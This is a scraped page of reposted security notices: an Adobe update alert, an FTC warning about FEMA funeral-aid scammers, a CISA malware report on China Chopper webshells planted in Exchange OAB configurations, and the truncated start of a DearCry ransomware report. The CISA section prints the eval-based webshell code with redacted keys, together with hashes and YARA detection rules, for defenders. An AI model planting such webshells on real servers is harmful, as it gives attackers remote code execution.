Adobe Releases Security Updates

This article is contributed. See the original author and article here.

Adobe has released security updates to address vulnerabilities in multiple Adobe products. An attacker could exploit these vulnerabilities to take control of an affected system.

CISA encourages users and administrators to review the following Adobe Security Bulletins and apply the necessary updates.

Scammers target loved ones of COVID-19 victims

Scammers target loved ones of COVID-19 victims

This article was originally posted by the FTC. See the original article here.

Government imposters may have hit a new low with a scheme that targets the grieving survivors of people who died of COVID-19 by offering them help paying for their loved one’s funeral expenses.

A real government relief program will pay up to $9,000 for funeral expenses that people have paid since January 20, 2020 for loved ones who died of COVID-19. Survivors can apply for benefits by contacting the Federal Emergency Management Agency (FEMA) at 844-684-6333. The number is toll-free and multi-lingual services are available.

The program is open to American citizens, nationals of U.S. territories, and non-citizens legally admitted to the United States, regardless of income. If you apply, you’ll need to show documents including receipts for your expenses and a death certificate that says the death happened in the United States or its territories and was likely caused by COVID-19.

The program just began yesterday, but even before it started, FEMA said it had reports of scammers contacting people and “offering” to register them for assistance.

Here’s what you need to know:

  • FEMA will not contact you until you have called FEMA or have applied for assistance. Anyone who contacts you out of the blue and claims to be a federal employee or from FEMA is a scammer.
  • The government won’t ask you to pay anything to get this financial help. Anyone who does is a scammer.
  • The government won’t call, text, email, or contact you on social media and ask for your Social Security, bank account, or credit card number. Anyone who does is a scammer.
  • Don’t give your own or your deceased loved one’s personal or financial information to anyone who contacts you out of the blue. Anyone who does that and asks for that information is a scammer.

FEMA’s Funeral Assistance FAQs have information about the documents you need to apply for funeral expenses. The FAQs also tell you what to do if the death certificate didn’t identify COVID-19 as the likely cause of death, as sometimes happened early in the pandemic.

If you doubt a caller claiming to be from FEMA is telling the truth, hang up and report it to the FEMA Helpline at 800-621-3362 or the National Center for Fraud Hotline at 866-720-5721. Tell us too, at ReportFraud.ftc.gov.

Brought to you by Dr. Ware, Microsoft Office 365 Silver Partner, Charleston SC.

MAR-10331466-1.v1: China Chopper Webshell

This article is contributed. See the original author and article here.

Malware Analysis Report

10331466.r1.v1

2021-03-29

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received three unique files for analysis. The files appears to contain configuration data for Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD) extracted from a Microsoft Exchange Server. The output file shows malicious modifications for the ExternalUrl parameter. In the OAB VD, the ExternalUrl parameter contains a “China Chopper” webshell which may permit a remote operator to dynamically execute JavaScript code on the compromised Microsoft Exchange Server.

For a downloadable copy of IOCs, see: MAR-10331466-1.v1.stix.

Submitted Files (3)

0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170 (supp0rt.aspx)

7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271 (discover.aspx)

eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9 (0QWYSEXe.aspx)

Findings

eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9

Tags

trojanwebshell

Details
Name 0QWYSEXe.aspx
Size 2205 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 e0cca3b973e3e21ac30d77f3a33a5587
SHA1 bdf949b284896e9a229a1963f3a48752d7dba28a
SHA256 eef4175da3a166ebbc6d5b8d81b569438e6f4c92a3ca42370efd1fef31fb3ca9
SHA512 3acbfba543f4a3212d52f9c9323d4b45131f488596fa4699d6fe7fde4075a3b6682fa42b251d9c99e52fa7acf937861b9382ff956cb8b33f494f8484bbe725ab
ssdeep 24:kNrde9pr+rJTh91Q/PayH/56j0SzMaJVMr6j71idfh1hdNcXO2E4ONF0qmM+Wi:kNrde+1BL0NM5QZ1hdNcXw4ONF0qmM2
Entropy 4.685295
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.7912AB84
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.7912AB84 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.7912AB84
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. Analysis indicates this file contains log data collected from an OAB configured on a compromised Microsoft Exchange Server. The Exchange OAB VD is utilized to access Microsoft Exchange address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. In this file, the OAB ExternalUrl parameter was configured to accept JavaScript code which will directly be executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD containing JavaScript code that will be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the VD from outside the firewall has been replaced with the following code:

–Begin webshell–
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
–End webshell–

Note: The hard-coded key used for authentication was redacted from the code above.

The code within the file decodes and executes data using the JavaScript “eval” function. The requested encoded data was not available for analysis.

This file contains the following configuration data (sensitive data was redacted):

–Begin configuration–

Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1713.5)
Server                         : BVSDEX01
InternalUrl                     : https://REDACTED.REDACTED.local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local
Identity                        : REDACTEDOAB (Default Web Site)
Guid                            : b8f5f75c-b0f6-4e67-93eb-150675b3e4cd
ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/6/2021 9:00:27 PM
WhenCreated                     : 3/6/2021 7:28:24 AM
WhenChangedUTC                 : 3/7/2021 3:00:27 AM
WhenCreatedUTC                 : 3/6/2021 1:28:24 PM
OrganizationId                 :
Id                             : REDACTEDOAB (Default Web Site)
OriginatingServer             : REDACTED.REDACTED.local
IsValid                         : True
—End Configuration Data—

0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170

Tags

trojanwebshell

Details
Name supp0rt.aspx
Size 2296 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 0201303f05753999d5eed5609dd3a237
SHA1 3df15fe7dba13619610cd95fad9be4ce0805a50e
SHA256 0f617eb8f229029f0573121d11986242c04875fed4795fbea20f135c8bf8b170
SHA512 5bbbddbf8b8bb10268c2187516fb0ee0a8d93bbdc0834794a3094309b5e88fb24274ea3114eaddb2a89954587d5ec79a1e3178b295503cc90badcc1142cd799e
ssdeep 48:kNrde+1BL0vEsFkc45aM5QZ1hdNw+w4ONF0qHK:ktde+svEsW74NANCqq
Entropy 4.747801
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.I.62E1504C
ClamAV Asp.Trojan.Webshell0321-9840173-0
Emsisoft Generic.ASP.WebShell.I.62E1504C (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.I.62E1504C
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal CVE-2021-26855.Webshll.41381
Sophos Troj/WebShel-O
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB virtual directory is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:

—Begin Webshell—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“[REDACTED]”])),”unsafe”);}</script>
—End Webshell—

Note: The hard-coded key used for authentication was redacted from the code above.

The script within the file decodes and executes data using the JavaScript “eval” function. The hard-coded key used for authentication was redacted from the code above. If the attacker is successful at accessing the script, they will be able to execute commands on the page with server (system) level privileges.

The file contains the following configuration data (sensitive data was redacted):

—Begin Configuration Data—
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1713.5)
Server                         : REDACTED
InternalUrl                     : hxxps[:]//REDACTED.REDACTED.local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“[REDACTED]”])),”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local
Identity                        : REDACTEDOAB (Default Web Site)
Guid                            : 06637895-089e-4332-8d55-cfc26d5f812a
ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/5/2021 2:48:16 PM
WhenCreated                     : 3/3/2021 9:00:53 AM
WhenChangedUTC                 : 3/5/2021 8:48:16 PM
WhenCreatedUTC                 : 3/3/2021 3:00:53 PM
OrganizationId                 :
Id                             : REDACTEDOAB (Default Web Site)
OriginatingServer             : REDACTED.REDACTED.local
IsValid                         : True
—End Configuration Data—

7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271

Tags

trojanwebshell

Details
Name discover.aspx
Size 2196 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 66daca742a53062d5828cb02e48ee53f
SHA1 25eb33b515f4bfdf704ed881fb11cd2ad1d345e6
SHA256 7a17f4c1e1a0c21ea5ed8837383b641c28244adb39c0a3f47da4d47ebe080271
SHA512 29d324a2024fd1f9dc30f9aa23e8dd8657839ad8aa2a1d46a76263b9030b3f8fa679cb5b9655dbb9dd04314e229382d9de39d48a4f6fdb40baf69bcf2e0500c7
ssdeep 24:kNrde9pr+rJTh91Q/PayH/56j0SzMaF8DVMr6j71idfh1hdN7wcjO2E4ONF0qkv4:kNrde+1BL0oM5QZ1hdNZw4ONF0qkg
Entropy 4.666697
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.5499F873
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.5499F873 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.5499F873
McAfee Exploit-CVE2021-26855
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
Vir.IT eXplorer Exploit.Hafnium.I
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This artifact is a Microsoft Exchange OAB configuration file. The OAB virtual directory is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against the Exchange server. The OAB ExternalUrl parameter was configured to accept JavaScript code, which will be directly executed on the target server. The modification of the parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:

—Begin Webshell—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Webshell—

Note: The hard-coded key used for authentication was redacted from the code above.

The script within the file decodes and executes data using the JavaScript “eval” function. The hard-coded key used for authentication was redacted from the code above. If the attacker is successful at accessing the script, they will be able to execute commands on the page with server (system) level privileges.

The file contains the following configuration data (sensitive data was redacted):

—Begin Configuration Data—
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS[:]//REDACTED.REDACTED.local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1713.5)
Server                         : REDACTED
InternalUrl                     : hxxps[:]//REDACTED.REDACTED.local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local
Identity                        : REDACTEDOAB (Default Web Site)
Guid                            : f04c8256-f0f3-44b8-b845-9690ded23ae1
ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/3/2021 9:00:33 AM
WhenCreated                     : 3/3/2021 12:55:49 AM
WhenChangedUTC                 : 3/3/2021 3:00:33 PM
WhenCreatedUTC                 : 3/3/2021 6:55:49 AM
OrganizationId                 :
Id                             : REDACTEDOAB (Default Web Site)
OriginatingServer             : REDACTED.REDACTED.local
IsValid                         : True
—End Configuration Data—

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.


Notice: Undefined index: extension in /home/smuniz/public_html/wp-content/themes/Divi/epanel/custom_functions.php on line 1419
MAR-10330097-1.v1: DearCry Ransomware

MAR-10330097-1.v1: DearCry Ransomware

This article is contributed. See the original author and article here.

Malware Analysis Report

10330097.r1.v1

2021-04-07

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

Six files were submitted for analysis. The files were identified as DearCry ransomware. The malware encrypts files on a device and demands ransom in exchange for decryption.

For a downloadable copy of IOCs, see: MAR-10330097-1.v1.stix.

Emails (2)

konedieyp[@]airmail.cc

uenwonken[@]memail.com

Submitted Files (6)

027119161d11ba87acc908a1d284b93a6bcafccc012e52ce390ecb9cd745bf27 (027119161d11ba87acc908a1d284b9…)

10bce0ff6597f347c3cca8363b7c81a8bff52d2ff81245cd1e66a6e11aeb25da (10bce0ff6597f347c3cca8363b7c81…)

2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff (2b9838da7edb0decd32b086e47a31e…)

e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6 (e044d9f2d0f1260c3f4a543a1e67f3…)

fdec933ca1dd1387d970eeea32ce5d1f87940dfb6a403ab5fc149813726cbd65 (fdec933ca1dd1387d970eeea32ce5d…)

feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede (feb3e6d30ba573ba23f3bd1291ca17…)

Findings

2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff

Tags

downloaderloaderransomwaretrojan

Details
Name 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff
Size 1322496 bytes
Type PE32 executable (console) Intel 80386, for MS Windows
MD5 0e55ead3b8fd305d9a54f78c7b56741a
SHA1 f7b084e581a8dcea450c2652f8058d93797413c3
SHA256 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff
SHA512 5c3d58d1001dce6f2d23f33861e9c7fef766b7fe0a86972e9f1eeb70bfad970b02561da6b6d193cf24bc3c1aaf2a42a950fa6e5dff36386653b8aa725c9abaaa
ssdeep 24576:LU5NX2yJOiUXmEICxu2WAP0NIzkQM+KpPRQ9StIUDpl1fpxkHVZgMCS+:L7XP7P9o5QzUtl1fpxkHVZgMC3
Entropy 6.994611
Antivirus
Ahnlab Ransomware/Win.DoejoCrypt
Antiy Trojan[Ransom]/Win32.DearCry
Avira TR/FileCoder.HW
BitDefender Trojan.GenericKD.36477740
ClamAV Win.Ransomware.Dearcry-9840778-0
Comodo Malware
Cyren W32/Trojan.FOGJ-5046
ESET a variant of Win32/Filecoder.DearCry.A trojan
Emsisoft Trojan.GenericKD.36477740 (B)
Ikarus Trojan-Ransom.FileCrypter
K7 Trojan ( 005790de1 )
Lavasoft Trojan.GenericKD.36477740
McAfee Ransom-DearCry!0E55EAD3B8FD
Microsoft Security Essentials Ransom:Win32/DoejoCrypt.A
NANOAV Trojan.Win32.Encoder.ipilfs
NetGate Trojan.Win32.Malware
Quick Heal Ransom.DearCry.S19261705
Sophos Troj/Ransom-GFE
Symantec Downloader
TACHYON Ransom/W32.DearCry.1322496
TrendMicro Ransom.56DC2A23
TrendMicro House Call Ransom.56DC2A23
Vir.IT eXplorer Ransom.Win32.DearCry.CUQ
VirusBlokAda TrojanRansom.Encoder
Zillya! Trojan.Encoder.Win32.2195
YARA Rules
  • rule CISA_10330097_01 : trojan downloader ransomware DEARCRY
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10330097”
           Date = “2021-03-31”
           Last_Modified = “20210331_1630”
           Actor = “n/a”
           Category = “Trojan Downloader Ransomware”
           Family = “DEARCRY”
           Description = “Detects DearCry Ransomware”
           MD5_1 = “0e55ead3b8fd305d9a54f78c7b56741a”
           SHA256_1 = “2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff”
           MD5_2 = “cdda3913408c4c46a6c575421485fa5b”
           SHA256_2 = “e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6”
           MD5_3 = “c6eeb14485d93f4e30fb79f3a57518fc”
           SHA256_3 = “feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede”
       strings:
